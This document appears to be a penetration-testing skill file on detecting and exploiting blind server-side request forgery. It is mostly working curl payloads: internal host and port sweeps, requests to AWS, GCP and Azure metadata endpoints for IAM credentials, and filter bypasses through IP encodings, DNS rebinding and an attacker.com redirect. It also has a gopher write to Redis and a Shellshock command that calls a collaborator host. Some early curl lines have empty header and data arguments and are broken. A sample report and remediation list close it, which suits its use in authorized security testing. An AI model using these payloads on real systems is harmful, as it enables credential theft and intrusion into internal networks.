performing-blind-ssrf-exploitation

Detect and exploit blind Server-Side Request Forgery vulnerabilities using out-of-band techniques, DNS interactions, and timing analysis to access internal services and cloud metadata endpoints.

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name	performing-blind-ssrf-exploitation
description	Detect and exploit blind Server-Side Request Forgery vulnerabilities using out-of-band techniques, DNS interactions, and timing analysis to access internal services and cloud metadata endpoints.
domain	cybersecurity
subdomain	web-application-security
tags	["blind-ssrf","ssrf","out-of-band","burp-collaborator","cloud-metadata","internal-network","oob-detection"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Performing Blind SSRF Exploitation

When to Use

When testing URL/webhook input parameters where server-side responses are not reflected
During assessment of applications that fetch external resources (avatars, previews, imports)
When testing PDF generators, image processors, or document converters for SSRF
During cloud security assessments to detect metadata endpoint access
When evaluating webhook functionality and URL validation implementations

How to CONFIRM a Hit (avoid false negatives)

Blind SSRF returns no reflected response, so confirmation rests entirely on out-of-band (OOB) signals — never infer success or failure from the HTTP status code alone:

Unique-subdomain DNS hit: embed a per-test subdomain (<test-id>.<your-id>.oast.fun) so each payload is attributable; an inbound DNS lookup confirms the server resolved your host even when outbound HTTP is firewalled.
HTTP/FTP callback: an inbound request landing on your interactsh/Collaborator/webhook.site listener proves full server-side egress.
Timing delta: compare a reachable internal host / open port against a dead IP / closed port; a reproducible difference (fast response vs hang-to-timeout) confirms the server reached the target.

Iterate one host/port at a time and rotate a fresh unique subdomain per payload so each callback maps back to the exact request. Absence of any reflection or error message is expected and does NOT mean "not vulnerable." Before concluding negative you MUST try: DNS-only payloads (HTTP egress may be blocked while DNS is not), alternate IP encodings, redirect-based bypasses, DNS rebinding, and gopher:// for internal services — only declare the input safe after every OOB channel stays silent.

Prerequisites

Burp Suite Professional with Burp Collaborator for OOB detection
interact.sh or webhook.site for external callback monitoring
Understanding of SSRF attack vectors and internal network enumeration
Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
VPS or controlled server for advanced exploitation callback handling
Python with requests library for automation scripts

Workflow

Step 1 — Identify Blind SSRF Input Points

# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=



curl -X POST http://target.com/api/fetch-url \
  -H  \
  -d 


curl -X POST http://target.com/api/webhooks \
  -H  \
  -H  \
  -d 


curl -X POST http://target.com/api/profile/avatar \
  -H  \
  -H  \
  -d 


curl -X POST http://target.com/api/import \
  -H  \
  -d

# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions

# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS rebinding
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'

# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration

# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints

Concept	Description
Blind SSRF	Server makes request but response is not visible to attacker
Out-of-Band Detection	Using external callbacks (DNS, HTTP) to confirm SSRF execution
DNS Rebinding	Technique to bypass IP-based SSRF filters by changing DNS resolution
Cloud Metadata	Instance metadata endpoints accessible via SSRF for credential theft
Gopher Protocol	Protocol allowing crafted payloads to interact with internal TCP services
Time-Based Detection	Detecting SSRF success by measuring response time differences
SSRF Chain	Combining SSRF with other vulnerabilities for greater impact

Tool	Purpose
Burp Collaborator	Out-of-band interaction server for DNS and HTTP callback detection
interact.sh	Open-source OOB interaction tool by ProjectDiscovery
SSRFmap	Automated SSRF detection and exploitation framework
Gopherus	Generate gopher payloads for exploiting internal services via SSRF
webhook.site	Free webhook receiver for testing SSRF callbacks
rebinder.net	DNS rebinding service for bypassing SSRF IP filters

## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes

### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |

### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |

### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers